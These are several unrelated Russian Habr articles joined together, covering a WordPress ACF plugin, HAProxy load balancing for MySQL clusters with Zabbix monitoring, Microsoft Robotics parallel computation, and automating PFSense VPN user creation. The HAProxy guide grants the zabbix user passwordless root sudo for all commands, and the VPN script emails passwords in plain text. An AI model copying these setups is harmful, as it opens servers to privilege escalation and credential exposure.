Во первых это имя поля. По названию (label) далеко не всегда (а на практике - никогда) можно узнать имя поля, и каждый раз приходится идти в список групп, находить текущую и смотреть имя поля. Ладно, с этим мы разобрались. Теперь что по поводу возвращаемого значения? Хорошо если мы говорим про текстовое поле. А если это изображение, select или post? А тут у нас оказывается полный зоопарк, кроме того что у нас есть множество типов (это же хорошо) у каждого типа есть разные return\_format-ы. А это значит что нужно в той же группе проверять настройки конкретного поля. Хорошо если возвращается ID или объект (WP\_Post). А если массив? (например опция изображения). Какие там ключи? Конечно, когда выводишь ACF поля ежедневно, их имена всегда в памяти, а если был занят другим?
#### Проблема №2. Постоянное посещение ACF документации
Таким образом мы подходим ко второй проблеме. Чтобы узнать детали return\_format-а, ключи возвращаемого массива или как получить label поля вместе со значением приходится часто наведываться в ACF документацию для соответствующего типа поля. Благо документация хорошая. Но время таки уходит.
#### Проблема №3. Синхронизация изменений
На практике изменения в существующие поля вносятся гораздо чаще чем можно предположить. Например изменяется return\_format (не говоря уже про имя и тип поля, и такое бывает) и приходится делать поиск по всему коду темы, чтобы найти куски кода что получают и используют это поле, так что это становится настоящим кошмаром (и кто-то мог использовать в одном случае двойные кавычки, а кто-то одинарные, и имя то поля может быть кратким и не уникальным, пойди найти всех).
#### Проблема №4 (Опциональная). Спагетти код
Чего только тут мои глаза не видели. Особенно когда вносятся правки, а не создается страница с нуля. Про кучу спагетти кода в шаблонах, где нельзя понять (даже при большом желании) где начало и где конец я просто не упоминаю. В лучшем случае разработчик прямо в functions.php добавляет регистрацию шорткода и в нем делает вывод нужных полей, и далее устанавливает шорткод в нужное место. (И откровенно говоря, когда вносишь правки в такие "веселые" темы, нет ни времени ни желания что либо менять, просто рядом создаешь еще один и стараешься забыть поскорее все что ты видел) Проблема с таким functions.php что в один день это становится файлом в 3-7 тысяч строк кода, без структуры, без начало и конца. И совсем не понятно, зачем нужен определенный кусок кода, где это используется. Про последствия такого подхода я умолчу, думаю ужасы редактирования, отладки и оптимизации всплывут у всех видевших подобное.
#### Проблема №5. Стилизация и CSS конфликты
Разметка полей обычно делается на скорую руку и классы в разметке используются из тех, что первые приходят на ум. (К сожалению про BEM слышали далеко не все, а используют еще меньше). В худшем случае стили для этих полей будут добавлены глобально, в лучшем только для целевой страницы. В первом случае будет проблема неиспользуемого CSS кода (привет нулевой Google Page Speed) и конфликтов с другими элементами (названия классов то общие), во втором - проблема переиспользования на других страницах.
#### Суммируя вышесказанное
Эти проблемы замедляют время разработки и внезапно, чтобы вывести 4 поля у разработчика уходит не 1 минута, а 10, и кроме созданного вывода также создаются множество проблем для того, кто это будет править/поддерживать.
Решение. Вывод полей без кодинга с помощью шорткодов
----------------------------------------------------
Как же обойти эти проблемы? Речь сейчас пойдет не про [встроенные шорткоды](https://www.advancedcustomfields.com/resources/shortcode/). К сожалению они подходят только для примитивных полей (строка, число) и кроме того они выводят только значения, разметку по прежнему надо создавать самим.
Речь про новый (и бесплатный) [ACF Views](https://wordpress.org/plugins/acf-views/) плагин, который предоставляет шорткоды для вывода полей. И если первое что вам пришло в голову - шорткод для вывода значения по имени поля - вы ошиблись.
ACF Views плагин позволяет вам создавать Views (внутри обычные CPT items) в которых вы:
1. Выбираете ACF поле для вывода
(одно или несколько, можно с разных групп. Выбор через обычный select)
2. Сохраняете View, копируете шорткод
(из серии `[acf_views view-id="2221" name="Car"]`)
3. Используете шорткод где угодно
(Выбранные поля должны быть заполнены на том объекте, где устанавливается шорткод, будь то страница или CPT объект. Или нужно использовать `object-id` аргумент шорткода, чтобы указать id объекта, откуда брать эти поля)
Во время выполнения шорткод будет обработан плагином, и заменен HTML разметкой, которая будет сгенерированна (автоматически) в зависимости от типа поля и значения поля. (Плагин поддерживает все типы полей, включая изображния и select-ы) Это упрощает задачу в разы, и решает вышеупомянутые проблемы:
~~Проблема №1. Постоянное посещение ACF группы в админке~~
Вы выбираете поле (или поля) из списка, не нужно искать имя, не нужно заботится о типе и return-format-е.
~~Проблема №2. Постоянное посещение ACF документации~~
Плагин автоматически генерирует разметку для полей в зависимости от типа и return-format-а полей, нам заботиться об этом больше не нужно.
~~Проблема №3. Синхронизация изменений~~
Плагин сохраняет id выбранных полей и получает информацию о полях от ACF динамически. Это значит что мы можем менять поле как угодно, включая имя и тип, не говоря про return-format и абсолютно никаких обновлений от нас не потребуется. Разметка будет всегда актуальной.
~~Проблема №4 (Опциональная). Спагетти код~~
Теперь никакого хаоса в functions.php. Отдельный пункт меню в WordPress админке со списком всех View (вы можете задавать им имена и краткие описания), с поиском по ним.
~~Проблема №5. Стилизация и CSS конфликты~~
Теперь это мой любый пункт. Разметка генерируется в BEM стиле, так что больше никаких конфликтов. Кроме этого, каждое View имеет свое поле для CSS кода, где вы можете написать стили для этих полей. Этот CSS: a) никогда не создаст конфликтов (BEM стиль + используется id этой View) b) появляется только на страницах где используется текущая View, так что никаких глобальных стилей.
#### Суммируя вышесказанное
Используя ACF Views плагин (бесплатный) можно вывести любые ACF поля на фронт очень быстро и не создавая проблем для того, кто это будет править/поддерживать. Подробнее узнать о плагине можно на [его официальном сайте](https://wplake.org/acf-views/), где вы сможете найти ссылку на их YouTube канал, который наглядно демонстрирует использование плагина.
У опытных разработчиков наверняка возникнет вопрос, а что по накладным расходам? Это обертка и вероятно это гораздо медленнее чем обычный код. А вот и нет. Авторы плагина уделили особое внимание вопросам производительности (например использовали JSON в вместо мета полей для хранения Views данных) и даже опубликовали [тест](https://docs.acfviews.com/getting-started/performance), который показывает что разницу с кодом будет невозможно заметить на глаз.
Ниже я привожу несколько скриншотов плагина которые я сделал, чтобы вы могли увидеть, как выглядит UI плагина. Надеюсь эта статья была полезной для вас.
P.S. Функциональность данного плагина выходит за рамки этой статьи. Если вам будет интересно, то я расскажу что еще можно сделать используя данный плагин. (Например, выбирать и отображать посты, к примеру отобразить 4 последних WooCoomerce продукта без кодинга). | https://habr.com/ru/post/699774/ | null | ru | null |
# HAPRoxy для Percona или Galera на CentOS. Его настройка и мониторинг в Zabbix
#### Очень короткая статья, про то как можно использовать HAProxy в качестве балансировщика для multi-master серверов MySQL, таких как Percona или Galera.
**Хочу отметить, что эта инструкция родилась в процессе внедрения Zabbix в стенах компании [Acronis](http://habrahabr.ru/company/acronis/).
В процессе экспертизы и проведенных мною исследований, она доказала свое право на жизнь и благополучно служит нам верой и правдой день ото дня.**
**Для тех кто не знаком с HAProxy, цитата о предназначении продукта:**
> При увеличении нагрузки или посещаемости проекта, рано или поздно вертикальное маштабирование (увеличение ресурсов сервера, таких как память, скорость диска и т.д) упирается в некий предел и не дает ощутимого прироста. В таком случае в ход идет горизонтальное масштабирование — добавление новых серверов c перераспределением нагрузки между ними.
>
> Кроме увеличения мощности, горизонтальное масштабирование добавляет надежности системе — при выходе из строя одного из серверов, нагрузка будет сбалансирована между работающими и приложение будет жить.
**От слов к делу, установка и настройка очень просты:**
В предыдущем материале я подробно описал какие предварительные операции я проделывал над чистой CentOS 6.4, мои рекомендации актуальный и тут, все пакеты будут указаны с учетом рекомендаций в [предыдущем материале](http://habrahabr.ru/post/198354/):
**Репозитории подключены, система в актуальном состоянии, переходим к установке HAProxy:**
**# Ставим haproxy**
> yum install haproxy mariadb-client php-mysql php-cli -y
**# Пишем конфиги**
> mv /etc/haproxy/haproxy.cfg /etc/haproxy/haproxy.cfg.old
**[root@rs-haproxy ~]# nano /etc/haproxy/haproxy.cfg**
> global
>
> daemon
>
> maxconn 4096
>
>
>
> **# Если хочется увидеть отладочную информацию, то этот пункт стоит закоментировать**
>
> quiet
>
>
>
> **# А этот напротив, раскоментировать**
>
> # debug
>
>
>
> user haproxy
>
> group haproxy
>
>
>
> **# Мы будем использовать этот сокет для мониторинга в zabbix**
>
> stats socket /var/run/haproxy
>
>
>
> pidfile /var/run/haproxy.pid
>
>
>
> defaults
>
> mode http
>
> option tcplog
>
> log global
>
> option dontlognull retries 3 option redispatch
>
> maxconn 2000
>
> contimeout 5000
>
> clitimeout 50000
>
> srvtimeout 50000
>
> option tcplog
>
>
>
> **# Укажите действующий адрес на сервера и порт, на котором будет слушать наш haproxy**
>
> listen MySQL адрес-на-котором слушаем-:3306
>
>
>
> mode tcp
>
>
>
> **# roundrobin — последовательно пишет во все сервера, это хорошо в режиме чтения но может вызвать проблемы если таким образом записывать в базу**
>
> # balance roundrobin
>
>
>
> **# leastconn этот режим отлично подходит при использовании haproxy в качестве failover прокси, используется последний работающий сервер и только он**
>
> balance leastconn
>
>
>
> **# httpchk заставляет haproxy проверять сервер на его готовность перед отправкая каждого из запросов**
>
> option httpchk
>
>
>
> **# Ниже список серверов, их порт и порт на который будет происходит подключение для проверки жизнеспособности**
>
> server адрес адрес:3306 check port 50005 inter 12000 rise 3 fall 3
>
> server адрес адрес:3306 check port 50005 inter 12000 rise 3 fall 3
>
>
>
> **# Сервера с флагом backup используются только если остальные сервера не доступны**
>
> server адрес адрес:3306 check port 50005 inter 12000 rise 3 fall 3 backup
**Теперь перейдем к серверам нашей percona или galera**
**# Настраиваем механизм проверки наших баз данных, для этого понадобиться xinetd**
> yum install -y xinetd
**[root@xtrabackup-node-01 ~]# nano /etc/xinetd.d/mysqlchk**
> # default: on
>
> # description: mysqlchk
>
> service mysqlchk
>
> {
>
> disable = no
>
> flags = REUSE
>
> socket\_type = stream
>
>
>
> **# порт проверки который мы указали выше**
>
> port = 50005
>
>
>
> wait = no
>
> user = nobody
>
> server = /usr/bin/clustercheck
>
> log\_on\_failure += USERID
>
>
>
> **# Адреса с которых разрешена проверка состояния службы MySQL**
>
> only\_from = 10.100.100.0/24
>
>
>
> per\_source = UNLIMITED
>
> }
**# Очень важно добавить эту запись, иначе ничего не получиться**
**root@xtrabackup-node-01 ~]# nano /etc/services**
> mysqlchk 50005/tcp # mysqlchk
**# Добавляем службу в автозагрузку и запускаем ее**
> chkconfig xinetd on
>
> /etc/init.d/xinetd start
**# Разрешаем доступ к порту проверки**
> iptables -A INPUT -p tcp -m state --state NEW -m tcp --dport 50005 -j ACCEPT
>
> service iptables save
**# Добавляем права для доступа clustercheck**
> GRANT PROCESS ON \*.\* TO 'clustercheckuser'@'localhost' IDENTIFIED BY 'clustercheckpassword!';
>
> flush privileges;
**# Проверяем все ли у нас получилось, должно получится что то вроде**
**[root@xtrabackup-node-01 ~]# /usr/bin/clustercheck**
> HTTP/1.1 200 OK
>
> Content-Type: text/plain
>
> Connection: close
>
> Content-Length: 40
>
>
>
> Percona XtraDB Cluster Node is synced.
**# Теперь проверим работу с нашего haproxy хоста**
> [root@rs-haproxy ~]# telnet адрес 50005
>
> Trying адрес…
>
> Connected to адрес.
>
> Escape character is '^]'.
>
> HTTP/1.1 200 OK
>
> Content-Type: text/plain
>
> Connection: close
>
> Content-Length: 40
>
>
>
> Percona XtraDB Cluster Node is synced.
>
> Connection closed by foreign host.
>
>
**Готово! нужно проделать эту операцию на всех нодах percona/galera**
#### **Мониторинг HAProxy для MYSQL в Zabbix**
**# Это основной инструмент для нашего скрипта, установим его**
> yum install -y socat
**# Настроим sudo для zabbix, если это не было сделано раньше**
> usermod -s /bin/bash zabbix
>
> echo 'zabbix ALL=(ALL) NOPASSWD: ALL' >> /etc/sudoers
>
> sed -i 's/Defaults\ requiretty/#Defaults\ requiretty/g' /etc/sudoers
**# Создаем папку для наших скриптов**
> mkdir -p /etc/zabbix/scripts/
>
> chmod 750 /etc/zabbix/scripts/
**# Собственно сам скрипт**
**rm -f /etc/zabbix/scripts/haproxy.mysql
nano /etc/zabbix/scripts/haproxy.mysql**
```
if [[ -z $1 || -z $2 ]]; then
servers=`echo "show stat" | sudo socat /var/run/haproxy stdio | sed 's/,/\ /g' | awk '{print $2}' | grep -v -e "pxname" -e '^$'`
if [[ -n ${servers} ]]; then
JSON="{ \"data\":["
for DEV in ${servers}; do
JSON=${JSON}"{ \"{#SRV}\":\"${DEV}\"},"
done
JSON=${JSON}"]}"
echo ${JSON}
fi
exit 0
else
server="$2"
# echo $server
if [ ${1} = "qcur" ]; then
# echo $1
echo "show stat" | sudo socat /var/run/haproxy stdio | grep "MySQL,${server}"| sed 's/,/\ /g' | awk '{print $3}'
exit 0
fi
if [ ${1} = "qmax" ]; then
echo "show stat" | sudo socat /var/run/haproxy stdio | grep "MySQL,${server}" | sed 's/,/\ /g' | awk '{print $4}'
exit 0
fi
if [ ${1} = "scur" ]; then
echo "show stat" | sudo socat /var/run/haproxy stdio | grep "MySQL,${server}" | sed 's/,/\ /g' | awk '{print $5}'
exit 0
fi
if [ ${1} = "smax" ]; then
echo "show stat" | sudo socat /var/run/haproxy stdio | grep "MySQL,${server}" | sed 's/,/\ /g' | awk '{print $6}'
exit 0
fi
if [ ${1} = "econ" ]; then
echo "show stat" | sudo socat /var/run/haproxy stdio | grep "MySQL,${server}" | sed 's/,/\ /g' | awk '{print $14}'
exit 0
fi
if [ ${1} = "qlimit" ]; then
echo "show stat" | sudo socat /var/run/haproxy stdio | grep "MySQL,${server}" | sed 's/,/\ /g' | awk '{print $26}'
exit 0
fi
fi
```
**Скрипт сам обнаруживает доступные сервера и передает их zabbix
Проверим это:**
> [root@rs-haproxy ~]# echo «show stat» | sudo socat /var/run/haproxy stdio | sed 's/,/\ /g' | awk '{print $2}' | grep -v -e «pxname» -e '^$'
>
> FRONTEND
>
> 10.100.100.246
>
> BACKEND
**# Минимальные настроки для нашего zabbix-agent**
> echo Timeout=30 >> /etc/zabbix/zabbix\_agentd.conf
>
> echo Include=/etc/zabbix/zabbix\_agentd.d/ >> /etc/zabbix/zabbix\_agentd.conf
**# Применяем права на исполнение новому скрипту**
> chown zabbix:zabbix -R /etc/zabbix/scripts/
>
> chmod +x /etc/zabbix/scripts/haproxy.mysql
# Передаем zabbix наши UserParameter
> mkdir -p /etc/zabbix/zabbix\_agentd.d/
>
> rm -f /etc/zabbix/zabbix\_agentd.d/haproxy.mysql.conf
>
> touch /etc/zabbix/zabbix\_agentd.d/haproxy.mysql.conf
> echo 'UserParameter=haproxy.mysql[\*],/etc/zabbix/scripts/haproxy.mysql "$1" "$2"' >> /etc/zabbix/zabbix\_agentd.d/haproxy.mysql.conf
**Теперь проверим правильно ли работает наш скрипт:**
> su zabbix
**# Вот так работает наше автоматическое обнаружение серверов
bash-4.1$ /etc/zabbix/scripts/haproxy.mysql**
> { «data»:[{ "{#SRV}":«FRONTEND»},{ "{#SRV}":«10.100.100.246»},{ "{#SRV}":«BACKEND»},]}
**# Спросим любые данные**
> bash-4.1$ /etc/zabbix/scripts/haproxy.mysql qcur FRONTEND
>
> 115
>
>
**Похоже что все в порядке! Перезагружаем службу и любуемся логами**
> /etc/init.d/zabbix-agent restart && tail -f -n 100 /var/log/zabbix/zabbix\_agentd.log
**Вот так выглядит наш шаблон под haproxy**
[Тут можно скачать шаблон для импорта в zabbix](http://sycraft.info/share/zbx_haproxy-mysql-10222013.xml)
#### Спасибо за внимание! | https://habr.com/ru/post/198448/ | null | ru | null |
# Microsoft Robotics. Параллельная обработка данных
Один из продуктов Microsoft — [Microsoft Robotics](http://www.microsoft.com/robotics/) включает библиотеку Concurrent and Coordination Runtime. Библиотека очень нужна роботам для организации параллельных вычислений при обработке звука и изображений (да и не только их). В посте я расскажу как с помощью данной библиотеки создать параллельный алгоритм умножения матрицы A (m × n элементов) на вектор B (1 × n элементов) по следующей формуле: . Алгоритм вычисления вектора C (m × 1 элементов) легко распараллеливается, так как значение i-го элемента вектора не зависит от значений других его элементов. Перед запуском примера из исходников рекомендуется установить Microsoft Robotics.
#### 1. Краткое введение в Microsoft Robotics
В состав Microsoft Robotics входит несколько компонент:
* библиотека Concurrent and Coordination Runtime (CCR) – предназначена для организации обработки данных с помощью параллельно и асинхронно выполняющихся методов. Взаимодействие между такими методами организуется на основе сообщений. Рассылка сообщений основана на использовании портов;
* Decentralized Software Services (DSS) – среда, которая позволяет запускать алгоритмы обработки данных на разных ЭВМ, организовывать асинхронное взаимодействие процессов управления различными подсистемами робота;
* Visual Simulation Environment (VSE) – среда визуализации, которая позволяет экспериментировать с моделями роботов, тестировать алгоритмы управления роботами;
* Visual Programming Language (VPL) – язык, предназначенный для разработки программ управления роботами. Программа на таком языке представляется в виде последовательности блоков, которые выполняют обработку данных, и связей между ними.
Основные понятия Microsoft Robotics:
* сервис – приложение, разрабатываемое в Microsoft Robotics;
* сообщение – экземпляр любого типа данных;
* порт – очередь сообщений типа FIFO (First-In-First-Out), сообщение остаётся в порте пока не будут извлечено из очереди порта получателем.
Определение порта:
```
Port p = new Port();
```
Отправка сообщения в порт:
```
p.Post(1);
```
* получатель – структура, которая выполняет обработку сообщений. Данная структура объединяет:
1. один или несколько портов, в которые отправляются сообщения;
2. метод (или методы), которые используются для обработки сообщений (такой метод называется задачей);
3. логическое условие, определяющее ситуации, в которых активизируется тот или иной получатель.
Описание получателя:
```
Arbiter.Receive(<тип_получателя>, <порт>, <выполняемый_делегат>);
Пример:
Activate(
Arbiter.Receive(false, intPort,
delegate(int n)
{ Console.WriteLine("Получено сообщение: " + n.ToString()); }
)
);
```
Делегат, входящий в получатель, выполнится, когда в порт intPort придёт сообщение.
Получатели сообщений бывают двух типов: временные и постоянные (в примере получатель – временный). Временный получатель, обработав сообщение (или несколько сообщений), удаляется из списка получателей сообщений данного порта.
* процессом запуска задач управляет диспетчер. После выполнения условий активации задачи (одним из условий активации может быть получение портом сообщения) диспетчер назначает задаче поток из пула потоков, в котором она будет выполняться.
Описание диспетчера с двумя потоками в пуле:
```
Dispatcher d = new Dispatcher(2, "MyPool");
```
Описание очереди диспетчера, в которую задачи ставятся на выполнение:
```
DispatcherQueue dq = new DispatcherQueue("MyQueue", d);
```
#### 2. Создание проекта сервиса
Проект сервиса создаётся в Visual Studio на закладке Microsoft Robotics (см. рис. 1).
Рис. 1. Создание проекта сервиса
После создания проекта нужно настроить сервис: указать для него имя, пространство имён, домен организации, для которой разрабатывается сервис, а также год и месяц создания сервиса. Домен и дата используются для создания уникального идентификатора сервиса (в данном проекте этот идентификатор непосредственно нужен не будет).
Рис. 2. Настройка сервиса
Проект сервиса состоит из нескольких файлов:
* ParallelProcessing.cs – ядро сервиса;
* ParallelProcessingTypes.manifest.xml – манифест, который используется DSS для загрузки сервиса;
* ParallelProcessingTypes.cs – содержит описание типов, которые используются сервисом.
После компиляции сервиса генерируется набор dll библиотек и манифест. Манифест – файл в XML формате, содержащий ссылки на сервисы, с которыми взаимодействует разрабатываемый сервис. Настройки проекта сервиса установлены так, что после компиляции сервиса созданные dll библиотеки копируются в каталог \bin.
Запуск сервиса выполняется с помощью программы dsshost, которая загружает манифест и все сервисы, которые в нём указаны.
#### 3. Структура сервиса
В структуру кода сервиса входит метод Start, который вызывается, когда DSS узел (dsshost.exe) запускает сервис (поэтому в метод Start обычно помещают действия по инициализации данных):
```
protected override void Start()
{
base.Start();
// команды инициализации
// сервиса добавляются ниже
}
```
После компиляции проекта генерируются три dll библиотеки:
* ParallelProcessing.Y2013.M02.dll – библиотека реализации сервиса, формируемая на основе файлов исходного кода, включённых в проект сервиса;
* библиотека ParallelProcessing.Y2013.M02.proxy.dll позволяет использовать твой сервис другими сервисами;
* библиотека ParallelProcessing.Y2013.M02.transform.dll содержит описание соответствия между типами, определенными в реализации сервиса и реализации proxy библиотеки. Данная библиотека загружается автоматически с помощью среды выполнения DSS.
Выполнить созданный сервис можно не только через F5 в Visual Studio, но и через командную строку. Для этого нужно выбрать пункт «DSS Command Prompt» в меню Пуск\MRDS. В результате, запустится окно командного интерпретатора, будет установлен корневой каталог и переменные окружения. В открывшемся окне нужно запустить на выполнение следующую команду:
```
dsshost /p:50000 /t:50001 /m:"<путь к файлу манифеста сервиса>"
```
#### 4. Оценка времени выполнения
Время выполнения вычислений будем определять с помощью класса Stopwatch:
```
Stopwatch sWatch = new Stopwatch();
sWatch.Start();
<выполняемый код>
sWatch.Stop();
Console.WriteLine(sWatch.ElapsedMilliseconds.ToString());
```
#### 5. Реализация вычислений
##### 5.1. Объявление структур данных
Матрицу A, векторы B и C, переменные для хранения их размеров определим глобально:
```
int[,] A;
int[] B;
int[] C;
int m;
int n;
```
Метод TestFunction() запускает вычисления. Сначала в методе выполняется умножение матрицы на вектор с помощью последовательного алгоритма, затем – та же задача решается с помощью параллельных вычислений. Рассмотрим этот метод.
Выполняется инициализация структур данных:
```
nc = 2; // количество ядер
m = 11000; // количество строк матрицы
n = 11000; // количество столбцов матрицы
A = new int[m, n];
B = new int[n];
C = new int[m];
```
Генерируется матрица A и вектор B:
```
Random r = new Random();
for (int i = 0; i < m; i++)
{
for (int j = 0; j < n; j++)
A[i, j] = r.Next(100);
}
for (int j = 0; j < n; j++)
B[j] = r.Next(100);
```
##### 5.2. Последовательный алгоритм перемножения
Рассмотрим метод SequentialMul:
```
Stopwatch sWatch = new Stopwatch();
sWatch.Start();
for (int i = 0; i < m; i++)
{
C[i] = 0;
for (int j = 0; j < n; j++)
C[i] += A[i, j] * B[j];
}
sWatch.Stop();
Console.WriteLine("Последовательный алгоритм = {0} мс.", sWatch.ElapsedMilliseconds.ToString());
```
##### 5.3. Параллельный алгоритм перемножения
Параллельная обработка выполняется с помощью запуска нескольких копий вычислительного метода. Каждая копия метода выполняет обработку определённой части исходных данных. Для описания задания для каждого метода используется класс InputData:
```
public class InputData
{
public int start; // начало диапазона
public int stop; // конец диапазона
}
```
Поля start / stop класса хранят номер начальной / конечной строки вектора C, которые рассчитываются с помощью экземпляра вычислительного метода.
Рассмотрим метод ParallelMul:
```
// создание массива объектов для хранения параметров
InputData[] ClArr = new InputData[nc];
for (int i = 0; i < nc; i++)
ClArr[i] = new InputData
```
Далее, задаются исходные данные для каждого экземпляра вычислительного метода:
```
// делим количество строк а матрице на nc частей
int step = (Int32)(m / nc);
// заполняем массив параметров
int c = -1;
for (int i = 0; i < nc; i++)
{
ClArr[i].start = c + 1;
ClArr[i].stop = c + step;
c = c + step;
}
```
Создаётся диспетчер с пулом из двух потоков:
```
Dispatcher d = new Dispatcher(nc, "Test Pool");
DispatcherQueue dq = new DispatcherQueue("Test Queue", d);
```
Описывается порт, в который каждый экземпляр метода Mul() отправляет сообщение после завершения вычислений:
```
Port p = new Port();
```
Метод Arbiter.Activate помещает в очередь диспетчера две задачи (два экземпляра метода Mul):
```
for (int i = 0; i < nc; i++)
Arbiter.Activate(dq, new Task>(ClArr[i], p, Mul));
```
Первый параметр метода Arbiter.Activate – очередь диспетчера, который будет управлять выполнением задачи, второй параметр – запускаемая задача.
С помощью метода Arbiter.MultipleItemReceive запускается задача (приёмник), которая обрабатывает получение двух сообщений портом p:
```
Arbiter.Activate(Environment.TaskQueue, Arbiter.MultipleItemReceive(true, p, nc,
delegate(int[] array)
{
Console.WriteLine("Вычисления завершены");
}));
```
Приёмник используется для определения момента окончания вычислений. Он сработает, только после того, как в порт p придёт два сообщения. В делегат, описанный в приёмнике, можно включить действия, которые должны быть выполнены после завершения процесса умножения.
Метод Mul() выполняет перемножение части матрицы на вектор:
```
void Mul(InputData data, Port resp)
{
Stopwatch sWatch = new Stopwatch();
sWatch.Start();
for (int i = data.start; i < data.stop; i++)
{
C[i] = 0;
for (int j = 0; j < n; j++)
C[i] += A[i, j] \* B[j];
}
sWatch.Stop();
Console.WriteLine("Поток № {0}: Параллельный алгоритм = {1} мс.",
Thread.CurrentThread.ManagedThreadId, sWatch.ElapsedMilliseconds.ToString());
resp.Post(1);
}
```
Метод Mul() имеет два параметра:
1) индекс, хранящий значение элемента массива, который определяет параметры, передаваемые на вход метода;
2) порт завершения, в который отправляется целое число после завершения вычислений.
После завершения вычислений метод Mul отправляет в порт p целое значение (отправляемое значение может быть любым).
Результат вычислений показан на рис. 3.
Рис. 3. Результаты вычислений
[Ссылка на исходник](https://www.dropbox.com/s/eof9hw6ksb88e86/ParallelProcessing.zip) | https://habr.com/ru/post/204466/ | null | ru | null |
# Автоматизируем создание VPN пользователей в PFSense
Мне очень нравится PFSense 2.0. Особенно хороша у него стала функция OpenVPN сервера. Сам сервер настраивается в несколько кликов ( [www.youtube.com/watch?v=odjviG-KDq8](http://www.youtube.com/watch?v=odjviG-KDq8) ). После этого остается только создать пользователей и выслать им архив с настройками. Но когда передо мной встала задача перенести 70 пользователей из ClearOS в PFSense, я честно говоря приуныл. Перспектива рисовалась следующая. Зайти в «User Manager», щелкнуть кнопку добавления пользователя, ввести логин, ввести пароль, еще раз ввести пароль, вести фамилию и имя, отметить чекбокс «Click to create a user certificate», снова вести фамилию и имя, щелкнуть кнопку «Сохранить», перейти в «OpenVPN Server» вкладку «Client Export», сохранить архив с настройками, создать письмо, вставить туда email, написать логин, пароль, вложить архив с настройками, написать сопроводительный текст и отправить. И так 70 раз!!! Конечно если задаться целью и отключить мозг, все это можно сделать за день, а то и меньше. Но я от тупой работы либо засыпаю, либо прихожу в бешенство. Поэтому решено было сей процесс автоматизировать. И тут уныние, теперь уже переходящее в отчаяние, настигло меня во второй раз. Потому что PFSense на мои попытки переписать его потроха отвечал Read-only file system, а выполнить задуманное через config.xml мне не позволяло знание его структуры (и я подозреваю, что его средствами это невозможно). То есть на горизонте мрачно маячили либо нервное засыпание, либо покусание близ находящихся особей гуманоидного типа. Но выход был найден. Если выполнять работу самому не хочется, нужно написать скрипт, который будет нажимать на кнопки вместо тебя. Я уже вижу лес рук пользователей Windows которые нетерпеливо выкрикивают: «AutoIt, AutoIt!». Простите великодушно, я не описал полной картины. Я работаю из под Ubuntu. Ага. Лес рук сильно поредел. Осталась только пара, тройка. Ну давай, вот ты, мальчик в свитере с отчаянно пробивающейся бородой. Как, как? Правильно. Садись, пять. Xdotools, друзья. Вот тот самый мужик в синем трико с буквой S на груди, который спас мое отчаянное положение.
Условия работы.
Экран должен быть разблокирован.
Должен быть установлен браузер Google Chrome. В других не испытывалось.
Админку PFSense нужно хотя бы раз открыть. Скрипт не будет вводить имя и пароль на вход, хотя поначалу такая задумка была.
Система Ubuntu 11.04 Desktop. На других не проверялось.
Должен быть установлен пакет xdotools и sendemail.
Формат списка пользователей должен быть следующим:
login first\_name second\_name
*Например:
S\_Astapov Sergey Astapov*
Логин должен совпадать с email адресом.
Ниже код (Умоляю, не стреляйте в меня табуретками. Я не программер. По сему код не претендует на изящество и соблюдение программистских догм и правил).
````
#!/bin/bash
#Путь к файлу со списком пользователей
bdpath=/opt/automa
#Файл со списком пользователей
bdusers=(`cat $bdpath/users.txt`)
#Удаляем нечитаемый символ в начале первой переменной. Не знаю откуда он берется.
fs=(`echo ${bdusers[0]} | sed -e 's/^.[a-zA-Z]\{0\}//'`)
#Задаем значение переменных
a=0
b=`expr $a + 1`
c=`expr $b + 1`
#Присваеваем первой переменной нормальное значение.
bdusers[0]=$fs
#Команды перемещения по странице
tab="xdotool key --delay 300 "Tab""
shifttab="xdotool key --delay 300 --clearmodifiers "Shift+Tab""
#Начинаем цикл
while [ ${bdusers[$a]} ]
do
# Можно использовать для подстраховки на случай если скрипт ошибется.
#echo "All is right?" && read
#Открываем страницу добавления пользователей
/usr/bin/google-chrome - https://pfsense.loc/system_usermanager.php?act=new
sleep 3
#Задаем значение переменных
name1="${bdusers[$c]}"
name2="${bdusers[$b]}"
login="${bdusers[$a]}"
pass=`pwgen -1n`
#Заполняем реквизиты пользователя
#Переходим в поле Username
i=0
while [ "$i" != "9" ]
do
$tab
i=`expr $i + 1`
done
#Вводим логин
xdotool type $login
#Переходим в поле Password
xdotool key --delay 200 "Tab"
#Вводим пароль
xdotool type $pass
xdotool key --delay 200 "Tab"
xdotool type $pass
#Переходим в поле Full Name
xdotool key --delay 200 "Tab"
#Вводим фамилию
xdotool type $name1
#через пробел
xdotool key space
#Вводим имя
xdotool type $name2
#Переходим на чекбокс Click to create a user certificate.
i=0
while [ "$i" != "7" ]
do
$tab
i=`expr $i + 1`
done
#Отмечаем чекбокс Click to create a user certificate.
xdotool key space
#Переходим вполе Descriptive name
xdotool key --delay 30 "Tab"
#Вводим фамилию
xdotool type $name1
#через пробел
xdotool key space
#Вводим имя
xdotool type $name2
#Переходим на кнопку Save
i=0
while [ "$i" != "6" ]
do
$tab
i=`expr $i + 1`
done
#Жмем кнопку Save
xdotool key "Return"
#Закрываем страницу
xdotool key "Ctrl+w"
#Открываем страницу экспорта настроек
/usr/bin/google-chrome — https://pfsense.loc/vpn_openvpn_export.php
sleep 3
#Переходим на архив настроек последнего пользователя
i=0
while [ "$i" != "6" ]
do
$shifttab
i=`expr $i + 1`
done
#Инициируем сохранение архива
xdotool key "Return"
sleep 2
#Вводим путь /home/user/temp/ куда сохранить файл и имя файла
xdotool key slash
xdotool type "home"
xdotool key slash
xdotool type "user"
xdotool key slash
xdotool type "temp"
xdotool key slash
xdotool type "vpn-TCP-1194-config"
#Нажимаем Enter
xdotool key "Return"
sleep 3
#Закрываем страницу
xdotool key "Ctrl+w"
#Отправляем пользователю письмо с именем, паролем и архивом настроек
sendemail -f admin@company.ru -t $login@company.ru -o message-charset=utf-8 -o message-content-type=html -u "NewVPN Settings" -m "Уважаемые коллеги.
Изменились настройки VPN сервера. Для применения новых настроек читайте инструкцию в приложении к письму.
name - $login
pass - $pass"\
-s mail.company.ru -xu admin@company.ru -xp password -a instruction.doc /home/user/temp/vpn-TCP-1194-config.zip
#Удаляем архив настроек
rm /home/user/temp/vpn-TCP-1194-config.zip
a=`expr $a + 3`
b=`expr $b + 3`
c=`expr $c + 3`
done
```` | https://habr.com/ru/post/132106/ | null | ru | null |
# 9 очень полезных советов по JavaScript
Приветствую, Хабр! Представляю вашему вниманию перевод статьи [«9 Extremely Powerful JavaScript Hacks»](https://dev.to/razgandeanu/9-extremely-powerful-javascript-hacks-4g3p) автора [Klaus](https://dev.to/razgandeanu).
